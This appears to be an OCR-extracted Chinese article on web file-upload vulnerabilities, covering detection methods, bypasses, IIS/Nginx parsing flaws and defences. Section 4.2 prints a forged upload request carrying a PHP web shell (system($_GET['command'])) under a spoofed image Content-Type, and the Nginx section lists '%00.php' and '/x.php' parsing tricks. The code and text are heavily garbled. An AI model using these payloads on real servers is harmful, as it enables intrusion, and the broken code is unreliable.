三、文件上传检测方法
通常一个Web站点的文件以HTTP协议进行上传时,将以POST请求的方式发送至We量务器,当Web服务器接收到来自客户端的请求并同意后,用户与Web服务器将建立WTP连接且传输data
企业Web站点中主流的文件上传检测方式有以下五种:
●客户端 Javascript检测(通常为检测文件扩展名
●服务端MIME类型检测(检测 Content-Type内容)
●服务端目录路径检测(检测跟path参数相关的内容
●服务端文件扩展名检测(检测跟文件extension相关的内容)
●服务端文件内容检测(检测内容是否合法或含有恶意代码)
3.1 客户端 Javascript检测
客户端检测通常在上传页面里含有专门检测文件上传的 Javascript代码,在文件被上传之前进行检测,最常见的就是检测上传文件的文件类型和大小是否合法。
3.2 服务端MME类型检测
这类检测方法通过检查http包的Content-lype字段中的值来判断上传文件是否合法。
3.3 服务端文件扩展名检测
这类检测方法通过在服务端检测上传文件的扩展名来判断文件是否合法。
3.4 服务端目录路径检测
这类检测一般通过检测路径是否合法来判断
3.5 服务端文件内容检测
这类检测方法相当对上面四种检测方法来说是最为严格的一种。它通过检测文件内容来判断上传文件是否合法。这里,对文件内容的检测主要有两种方法:
A.通过检测上传文件的
文件头来判断。通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型
B.文件加载检测,一般是调用API或函数对文件进行加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染。
四、web站点上传绕过方式
第三节我们分析了主流的文件上传检测方式,下面我们就来探讨一下攻击者如何绕过web代码的文件上传检测方式。
4.1 客户端绕过
在对上传文件进行文件类型判断时,如果使用客户端脚 javascript)来检测文件合法性,则程序必定会存在上传漏洞,由于客户端脚本仅作用于客户端环境,无法校验最终需要发送的数据,导致该种检测方法失效。
实例代码如下:
functioncheckFileO
varstr
str-document getElement Byld(file Vo.file").value. TrimO;
if( str!=)
var p=strlastIndexOf(.);
varcheckStr-str. substring(p). toUpperCaseO
/alert(checkStr);
if(checkStr!=.GIF&&checkStr=wJPG&&checkStr=BMP&&checkStr!=.JP
EG&&checkStr!=.PNG)
alert(上传文件格式有误n只能上传图片格式(。gif,jpg,,bmp,jpeg,png等格式的文件
return false:
4.2 服务端绕过
在对上传文件类型使用服务端验证时,由于验证方式及代码逻辑存在漏洞,也会导致上传绕过。例如,在如下php文件类型检测脚本中,服务端通过MME类型来检测文件合法性,则攻击者可以通过伪造MIME类型来达到欺骗应用程序上传非法文件的目的。
实例代码:
php
TYpel
r){/检测 Content-typ
if(S_FILESI'userfil
echo"Sorry, we only allow uploadingGIF images"'s
exIl
pleads/
Suploaddir=u
Suploadfile=Suploaddir basename(SFILES!'userfile'll'nameD);
if (move_ uploaded file(SFILESIuserfile'I'tmp-_namel, Suploadfile))i
ho"File is valid, and was successfullyuploaded. In
g else i
ile uploading failed. In
cho"Fi
通过修改 Content-ype值欺骗服务端,如下:
PosT /upLoaD php Http/
e, gzip, 9-0
TE. defla
Connection: TE, close
Host: locale
User-Agent: libwww-perl/5.803
oundary=xYzZY
Content-Type: multipart/forn
Content-Length:15
xYzZy
ISposition. form-data
Content-D
erfile", fil
name
原为
Content-lype: image/gif(
ename="shell
php
plain
Content-lype. text
7);
system(S GET/'commar
xyzZy
得到服务端的应
Http/i./200 ok
箱检测方式被成功综过
Date: Thu, 3/ May 2011 14: 02: 11 GM
Server. Apache
Content-Length. 59
onnection. close
Content-Type: text/html
File is valid, and wassuccessfully uploaded.
在实际编码过程中,服务端绕过的例子不仅仅局限于MME绕过,此处不做一一例举。
五、有关文件解析漏洞的分析
文件解析漏洞是指,由于Web中间件自身在文件名解析方面存在的bug导致正常合法文件被当作脚本文件来解析,如IIS解析漏洞、NINX解析漏洞等。攻击者通常会利用上传模块上传一个文件名合法的 webshell脚本,然后利用解析漏洞去执行。
5.1 IIS解析漏洞
160在解析asp格式的时候有两个解析漏洞,其中一个是如果目录名包含”.asp”字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp"会优先按asp来解析。1S7.0/7.5是对php解析时有一个类似于 Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串/任意文件名php"就会按照php的方式去解析
5.2 Nginx解析漏洞
Nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的Nginx服务器。
目前 Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名。php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x,php进行解析攻击。还有一种是对低版本的 Nginx可以在任意文件名后面添加%00.php进行解析攻击。
六、Web上传漏洞的防护探讨
6.1 系统开发阶段防护
系统开发人员应有较强的安全意识,尤其是采用PH语言开发系统。在系统开发阶段应充分考虑系统的安全性。对文件上传漏洞来说,最好能在客户端和服务器端对用户上传的文件名和文件路径等项目分别进行严格的检查。客户端的检查虽然对技术较好的攻击者来说可以借助工具绕过,但是这也可以阻挡一些基本的试探。服务器端的检查最好使用白名单过滤的方法,这样能防止大小写等方式的绕过,同时还需对%00截断符进行检测,对HTP包头的content-type也和上传文件的大小也需要进行检查。通过对W上假漏洞原理以及测方法的了解,建议可以从以下几个方面对Web站点进行网站开发前该漏洞的防护:
6.1.1 弃用客户端检测
由于客户端检测方式自身缺陷导致该检测方式容易被绕过,因此,在对上传文件类型行验证时应避免使用客户端检测方式
6.1.2 弃用MIME检测
由于MME检测中MIME数据容易被伪造,因此,在对上传文件类型进行检测时应该
进行MIME检测。
6.1.3 规范文件名检测
使用白名单规定上传文件类型,在检测时注意区分大小写
6.1.4 规范文件内容检测
对所要上传的文件内容进行检测,判断其内容是否合法,是否符合上传文件类型要求。
6.2 系统运维阶段防护
系统上线后运维人员应有较强的安全意思,积极使用多个安全检测工具对系统进行安全扫描,及时发现潜在漏洞并修复。定时査看系统日志,web服务器日志以发现入侵痕迹。定时关注系统所使用到的第三方插件的更新情况,如有新版本发布建议及时更新,如果第三方插件被爆有安全漏洞更应立即进行修补。对于整个网站都是使用的开源代码或者使用网上的框架搭建的网站来说,尤其要注意漏洞的自查和软件版本及补丁的更新,上传功能非必选可以直接删除。除对系统自生的维护外,服务器应进行合理配置,非必选一般的目录都应去掉执行权限,上传目录可配置为只读。
6.3 安全设备的防护
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。
七、总结
以上我们对Web站点的上传漏洞的原理、测试及防护的方法进行了研究,可以看到对WEB站点的上传漏洞的防护最优是从代码开发进行规避,虽然开源代码安全性不高,但是由于无开发成本而广为应用。那么从开发阶段进行规避无论对企业的安全意识还是开发人员的技术能力都有较高的要求,这就是我们在未来需要注意和加强的方向。
——END——
领取专属 10元无门槛券
私享最新 技术干货